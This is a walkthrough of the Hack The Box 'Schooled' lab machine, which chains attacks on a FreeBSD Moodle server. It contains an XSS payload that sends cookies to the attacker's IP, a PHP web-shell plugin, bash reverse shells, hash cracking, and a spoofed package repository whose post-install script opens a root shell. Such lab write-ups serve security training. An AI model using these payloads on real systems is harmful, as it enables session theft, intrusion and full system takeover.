Hack The Box
Hack The Box: Schooled Walkthrough
Stored Moodle profile XSS stole a teacher session, role-assignment flaws enabled manager plugin upload and a www shell, the Moodle database yielded Jamie's SSH password, and a malicious FreeBSD package from a spoofed repository ran as root.

Target IP: 10.129.96.53
Attacker IP (Kali): 10.10.16.84
OS: FreeBSD 13.0-BETA3
Difficulty: Medium
Executive Summary
Schooled is a FreeBSD machine running an Apache/PHP web server with a Moodle 3.9 learning management system. The attack path follows a classic "escalation of privileges within an application" pattern:
- External Recon → Discover a Moodle subdomain
- Application Recon → Register as a student, find XSS, steal a teacher's cookie
- Application PrivEsc → Abuse a Moodle enrollment vulnerability (CVE-2020-14321) to promote a teacher to Manager
- Manager PrivEsc → Tamper with role permissions to gain plugin upload rights
- Code Execution → Upload a malicious Moodle plugin → reverse shell as
www - Lateral Movement → Extract MySQL credentials from
config.php, dump password hashes, crack Jamie's bcrypt hash - SSH Access → Log in as
jamie, grab user flag - Privilege Escalation → Abuse
sudo pkg update/install *+ writable/etc/hoststo serve a malicious FreeBSD package - Root → Install the malicious package, get a root shell, grab root flag
Phase 1: Reconnaissance & Enumeration
Step 1.1: Update /etc/hosts
Command:
sudo bash -c 'echo "10.129.96.53 schooled.htb moodle.schooled.htb student.schooled.htb devops.htb" >> /etc/hosts'
When you visit a website by IP address, the server's virtual host configuration often routes you to a default page. Many web applications rely on the Host: header to serve the correct content. If you don't map the domain names to the IP, you might miss entire applications or subdomains. Additionally, if the application generates absolute URLs (e.g., redirects to schooled.htb), your browser needs to resolve that name.
Step 1.2: Nmap Scan
Command:
nmap -sC -sV -p- --min-rate 10000 10.129.96.53 -oA schooled_nmap
Results:
22/tcp: OpenSSH 7.9 (FreeBSD)80/tcp: Apache 2.4.46 (FreeBSD) PHP/7.4.1533060/tcp: MySQL X protocol listener
The open ports tell us the attack surface. Port 22 means we might eventually get SSH access. Port 80 is our initial entry point. Port 33060 confirms MySQL is running (likely backing the web app). The FreeBSD OS is critical information for later - we can't use Linux privilege escalation techniques; we need FreeBSD-specific ones.
Step 1.3: VHost Brute Force
Command:
wfuzz -u http://10.129.96.53 -H "Host: FUZZ.schooled.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hh 20750
Result: moodle subdomain found (response 200, different size).
Modern web infrastructure often hosts multiple applications on the same IP address. The main site (schooled.htb) might be a static marketing page, while moodle.schooled.htb is a fully functional application with authentication, file uploads, and a database backend. Missing the subdomain means missing the entire attack surface.
Step 1.4: Explore Moodle
URL: http://moodle.schooled.htb
Observations:
- Moodle 3.9 instance
- Teachers page at
/teachers.htmllists staff members - Registration is open but requires
@student.schooled.htbemail - Mathematics course offers "self enrollment"
Moodle is a complex PHP application with a history of vulnerabilities. Knowing the version (3.9) allows us to search for CVEs specific to that version. The self-enrollment feature means we can get a legitimate account inside the application. The teachers page gives us targets for social engineering or automated exploitation.
Phase 2: Initial Foothold via Moodle
Step 2.1: Register a Student Account
Account Details:
- Username:
hacker - Email:
hacker@student.schooled.htb - Password:
REDACTED
You need an authenticated session to interact with Moodle's features. The email restriction (@student.schooled.htb) is a client-side or simple server-side check. Since we control the DNS resolution and the domain isn't actually sending emails, we can use any fake address. The "confirm email" link is displayed on-screen after registration - no actual email verification occurs.
Step 2.2: Enroll in Mathematics
Path: Mathematics → Enrol me in this course
The Mathematics course has an "Announcements" forum. One announcement states that all students must have a MoodleNet profile. This is a hint - the teacher (Manuel Phillips) will likely check student profiles. If we can inject malicious content into our profile, we can attack whoever views it (stored XSS).
Step 2.3: Steal Manuel's Cookie via Stored XSS (CVE-2020-25627)
Vulnerability: Stored XSS via moodlenetprofile parameter
CVE: CVE-2020-25627 / MSA-20-0011
Payload placed in "MoodleNet profile" field:
<img src=x onerror="this.src='http://10.10.16.84/?c='+document.cookie; this.removeAttribute('onerror');">
Listener on Kali:
sudo python3 -m http.server 80
Result: After ~1-2 minutes, the target IP (10.129.96.53) makes a request to your Kali box:
10.129.96.53 - - [29/May/2026 07:54:01] "GET /?c=MoodleSession=cv3ku6rsh04qki4bjonf9fffkk HTTP/1.1" 200 -
This is a stored XSS triggered by an automated user (Manuel Phillips, the Mathematics teacher). The MoodleNet profile field doesn't properly sanitize HTML/JS input. When Manuel views your profile, his browser executes the JavaScript, which exfiltrates his session cookie to your attacker server. With his session cookie, you become him.
Step 2.4: Become Manuel Phillips
In Browser (Developer Tools → Storage → Cookies):
- Replace your
MoodleSessioncookie with the stolen one - Refresh
http://moodle.schooled.htb
Verification: Top-right corner shows "Manuel Phillips".
Session cookies grant account access. In web applications, the cookie is often the only thing standing between an attacker and the victim's account. By swapping cookies, we completely bypass authentication - no password cracking, no phishing, just pure session hijacking.
Step 2.5: Privilege Escalation to Manager (CVE-2020-14321)
Vulnerability: Course enrolments allowed privilege escalation from teacher role into manager role
CVE: CVE-2020-14321 / MSA-20-0009
The Problem:
Manuel is a Teacher in the Math course. Teachers can enroll users, but they shouldn't be able to assign the Manager role. The enrollment AJAX request sends roletoassign=5 (Student) by default. If we intercept the request and change it to roletoassign=1 (Manager), the server accepts it without proper authorization checks.
Step-by-Step:
- Go to Mathematics → Participants → Enrol users
- In the popup, type "Lianne Carter" (she's already a Manager at the site level)
- Turn on Burp Intercept
- Click "Enrol users"
- Modify the intercepted GET request:
- Change
userlist%5B%5D=25(Lianne) →userlist%5B%5D=24(Manuel) - Change
roletoassign=5→roletoassign=1
- Change
- Forward the request
- Manuel now has the Manager role in the Math course
But wait - there's a cron job that resets the class list every ~1 minute. If Manuel loses Manager, re-send the request from Burp Repeater.
This is a horizontal privilege escalation within the application. We're not exploiting a memory corruption bug; we're abusing a business logic flaw. The server trusts the client to send a valid roletoassign value and doesn't verify that the requesting user (a Teacher) is authorized to assign Manager roles.
Step 2.6: Enroll Lianne Carter as Manager
Repeat the same request but with userlist%5B%5D=25 (Lianne) and roletoassign=1.
With both Manuel and Lianne as Managers in the Math course, you can click on Lianne's profile and see a "Log in as" link. This allows you to impersonate Lianne Carter, who is already a Manager at the site level. This is critical because site-level Managers have access to Site Administration, which is our path to plugin installation.
Step 2.7: Click "Log in as" Lianne Carter
Path: Mathematics Participants → Click Lianne Carter → "Log in as"
Lianne has site-wide Manager privileges. You are now effectively a Manager. However, Managers still can't install plugins by default. You need to modify the Manager role to grant full permissions.
Step 2.8: Enable Full Manager Permissions
Path: Site administration → Users → Permissions → Define roles → Manager → Edit
The Trick:
The Manager role has thousands of checkboxes. You can't manually check them all before the page times out or the cron resets. Instead:
- Scroll to the bottom and click "Save changes"
- Intercept the POST request in Burp
- Send to Repeater
- Use Find/Replace in the request body: replace all
=0with=1 - Send the modified request
The Manager role is intentionally restricted from installing plugins (a security boundary). By tampering with the role-save request, we're exploiting the fact that the server accepts arbitrary permission values from the client. We're not exploiting a buffer overflow - we're simply telling the server "yes, the Manager can do everything," and the server believes us.
Step 2.9: Upload Malicious Plugin → Webshell
Create rce.zip on Kali:
cd ~
mkdir -p rce/lang/en
cat > rce/version.php << 'EOF'
<?php
$plugin->version = 2020061700;
$plugin->component = 'block_rce';
?>
EOF
cat > rce/lang/en/block_rce.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
zip -r rce.zip rce/
Upload Path: Site administration → Plugins → Install plugins → Choose rce.zip
Webshell Location:
http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id
Moodle plugins are ZIP files containing PHP code. When you upload a plugin, Moodle extracts it to /moodle/blocks/rce/. The language file (block_rce.php) is a PHP file that gets executed by the web server. By embedding system($_GET['cmd']), we turn the language file into a web shell.
Step 2.10: Reverse Shell as www
Listener on Kali:
nc -lnvp 4444
Trigger:
curl -G --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.84/4444 0>&1'" http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php
Upgrade the shell:
/usr/local/bin/python3 -c 'import pty;pty.spawn("bash")'
# Ctrl+Z
stty raw -echo; fg
reset
A webshell is fine for one-off commands, but it's slow and fragile. A reverse shell gives you an interactive session where you can run complex commands, navigate the filesystem, and maintain persistence. Upgrading to a TTY shell gives you job control, command history, and proper terminal behavior.
Phase 3: From www to Jamie (User Flag)
Step 3.1: Find Database Credentials
File: /usr/local/www/apache24/data/moodle/config.php
Contents:
$CFG->dbtype = 'mysqli';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'moodle';
$CFG->dbpass = 'PlaybookMaster2020';
$CFG->prefix = 'mdl_';
Web applications almost always store their database credentials in a configuration file. On Linux, this is typically /var/www/html/; on FreeBSD, it's /usr/local/www/apache24/data/. Finding the config file gives us direct access to the application's data layer - every user, every hash, every secret.
Step 3.2: Dump User Password Hashes
Command:
/usr/local/bin/mysql -u moodle -pREDACTED moodle
Query:
SELECT username, email, password FROM mdl_user;
Key Finding:
| Username | Password | |
|---|---|---|
| Admin | Jamie@staff.schooled.htb | REDACTED_PASSWORD_HASH |
The admin account has an email address jamie@staff.schooled.htb, strongly suggesting this is Jamie's account. The password hash is $2y$10$..., which is bcrypt (mode 3200 in Hashcat). By cracking this hash, we can SSH in as Jamie.
Step 3.3: Crack Jamie's Hash
Hashcat Command:
echo 'admin:REDACTED_PASSWORD_HASH' > hash.txt
hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Result: !QAZ2wsx
Bcrypt is slow, but if the password is in a common wordlist like rockyou.txt, it will eventually fall. The password REDACTED is a keyboard pattern (top-left column shifted) - a common weak password that humans choose because it's easy to type.
Step 3.4: SSH as Jamie & Grab User Flag
Command:
sshpass -p REDACTED ssh jamie@10.129.96.53
User Flag:
cat ~/user.txt
Result: 4d23ef7[redacted]b5e18815
Now we have a stable, interactive shell as a real user (not just a web server account). User accounts have home directories, SSH keys, personal files, and often different sudo privileges than the web server user.
Phase 4: From Jamie to Root (Root Flag)
Step 4.1: Enumerate sudo Privileges
Command:
sudo -l
Result:
User jamie may run the following commands on Schooled:
(ALL) NOPASSWD: /usr/sbin/pkg update
(ALL) NOPASSWD: /usr/sbin/pkg install *
pkg is the FreeBSD package manager. The * wildcard in pkg install * means Jamie can install ANY package. This is dangerous because package installation scripts run as root. If we can make pkg install a package we control, we can execute arbitrary code as root.
Step 4.2: Understand the pkg Configuration
File: /etc/pkg/FreeBSD.conf
Contents:
FreeBSD: {
url: "pkg+http://devops.htb:80/packages",
mirror_type: "srv",
signature_type: "none",
fingerprints: "/usr/share/keys/pkg",
enabled: yes
}
File: /etc/hosts
Contents:
192.168.1.14 devops.htb
pkg update fetches package metadata from http://devops.htb/packages/. devops.htb resolves to 192.168.1.14 via /etc/hosts. If we change /etc/hosts to point devops.htb to our Kali machine, pkg will fetch metadata from us instead of the real server. Since signature_type: "none", there's no cryptographic verification to stop us.
Step 4.3: Check /etc/hosts Writability
Command:
ls -l /etc/hosts
id
Result:
-rw-rw-r-- 1 root wheel 1098 Mar 17 2021 /etc/hosts
uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)
Jamie is in the wheel group, and /etc/hosts is group-writable (rw-rw-r--). This means Jamie can directly modify /etc/hosts without sudo. This is the critical bridge between "pkg install as root" and "trick pkg into talking to us."
Step 4.4: Create the Malicious FreeBSD Package
On the target (as jamie):
mkdir -p /tmp/root/usr/local/etc
cat > /tmp/root/+MANIFEST << 'EOF'
name: "root"
version: "1.0"
origin: sysutils/root
comment: "root"
desc: "root"
maintainer: root@schooled.htb
www: https://root.htb
prefix: /
EOF
cat > /tmp/root/+POST_INSTALL << 'EOF'
#!/bin/sh
bash -c 'bash -i >& /dev/tcp/10.10.16.84/5555 0>&1'
EOF
chmod +x /tmp/root/+POST_INSTALL
echo "# root" > /tmp/root/usr/local/etc/root.conf
echo "/usr/local/etc/root.conf" > /tmp/root/plist
cd /tmp/root
pkg create -m /tmp/root -r /tmp/root -p /tmp/root/plist -o .
FreeBSD packages (.txz files) are tar archives with metadata. The +POST_INSTALL script runs as root after the package files are extracted. By embedding a bash reverse shell in the post-install script, we ensure that the moment pkg install runs, a root shell connects back to our listener.
Key Components:
+MANIFEST: Package metadata (name, version, origin, etc.)+POST_INSTALL: Shell script executed by pkg as root after installationusr/local/etc/root.conf: A dummy file the package "installs" (required for pkg create)plist: Lists the files the package owns
Step 4.5: Transfer Package Files to Kali
On the target, serve the files:
cd /tmp/root
/usr/local/bin/python3 -m http.server 8080
On Kali, download them:
cd ~
mkdir -p packages
wget http://10.129.96.53:8080/packagesite.txz -O packages/packagesite.txz
wget http://10.129.96.53:8080/meta.conf -O packages/meta.conf
wget http://10.129.96.53:8080/meta.txz -O packages/meta.txz
wget http://10.129.96.53:8080/root-1.0.txz -O packages/root-1.0.txz
On Kali, host the repo:
cd ~
sudo python3 -m http.server 80
pkg update expects a specific repo structure:
/packages/meta.conf: Repo configuration/packages/meta.txz: Compressed repo metadata/packages/packagesite.txz: Package catalog/packages/root-1.0.txz: The actual package file
By hosting these files from our Kali machine, we create a fake package repository that pkg will trust and fetch from.
Step 4.6: Edit /etc/hosts and Install the Package
On the target:
cat /etc/hosts | sed 's/192.168.1.14/10.10.16.84/' > /tmp/hosts.new && cat /tmp/hosts.new > /etc/hosts
Why sed -i '' fails on FreeBSD:
FreeBSD sed requires -i '' (with an empty string) for in-place editing, or it treats the next argument as a backup suffix. Even then, it tries to create a temp file in /etc, which isn't writable. Using cat and redirect is safer.
Important: A cron job resets /etc/hosts roughly every minute. You must change it and run pkg immediately.
Run pkg:
sudo pkg update
sudo pkg install root
pkg update fetches meta.conf and packagesite.txz from our Kali box (now pretending to be devops.htb). pkg install root downloads root-1.0.txz and executes the +POST_INSTALL script - as root.
Step 4.7: Root Shell & Root Flag
Listener on Kali:
nc -lnvp 5555
Result:
connect to [10.10.16.84] from (UNKNOWN) [10.129.96.53] 50393
bash: cannot set terminal process group (7139): Can't assign requested address
bash: no job control in this shell
[root@Schooled /tmp/root]# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
Root Flag:
cat /root/root.txt
Result: 53fef09[redacted]be7abe21
The +POST_INSTALL script ran as root because sudo pkg install spawns the pkg process with root privileges. The script's bash reverse shell inherited those privileges, giving us a root shell. We bypassed traditional privilege escalation (kernel exploits, SUID binaries) by weaponizing the package manager itself.
Review notes
1. Enumeration Is Exploitation
Every subdomain, every email address, every announcement, and every open port is a piece of the puzzle. The time you spend enumerating is never wasted - it defines the entire attack path.
2. Trust the Hints
When a box says "the teacher checks profiles," believe it. When you see sudo pkg install *, respect the wildcard. Developers and CTF creators leave breadcrumbs intentionally.
3. Chain Your Exploits
Rarely does one vulnerability give you everything. Schooled required: XSS → Cookie Theft → Role Escalation → Permission Tampering → Plugin Upload → Webshell → Database Access → Hash Cracking → SSH → Package Manager Abuse → Root. Each step was small; the chain was devastating.
4. Abuse Business Logic
Not all bugs are buffer overflows. CVE-2020-14321 was a business logic flaw: a teacher could assign a Manager role because the server didn't validate the request. These bugs are invisible to automated scanners but are often more reliable than memory corruption.
5. Weaponize Legitimate Features
Package managers exist to install software. When you can control what they install, they become remote code execution engines. ask: "What trusted mechanism can I trick into running my code?"
6. Time Your Moves
When cron jobs reset state (class enrollments, plugins, /etc/hosts), speed becomes a weapon. Chain commands with &&, use Repeater for rapid-fire requests, and don't wait for page refreshes - act on the backend state, not the frontend display.
7. OS Matters
FreeBSD isn't Linux. Python lives at /usr/local/bin/python3. The web root is /usr/local/www/apache24/data/. sed behaves differently. If you treat FreeBSD like Linux, you'll fail. adapt your tooling to the target's dialect.
Full Flag Summary
| Flag | Value |
|---|---|
| User.txt | 4d23ef7[redacted]5e18815 |
| Root.txt | 53fef0[redacted]3be7abe21 |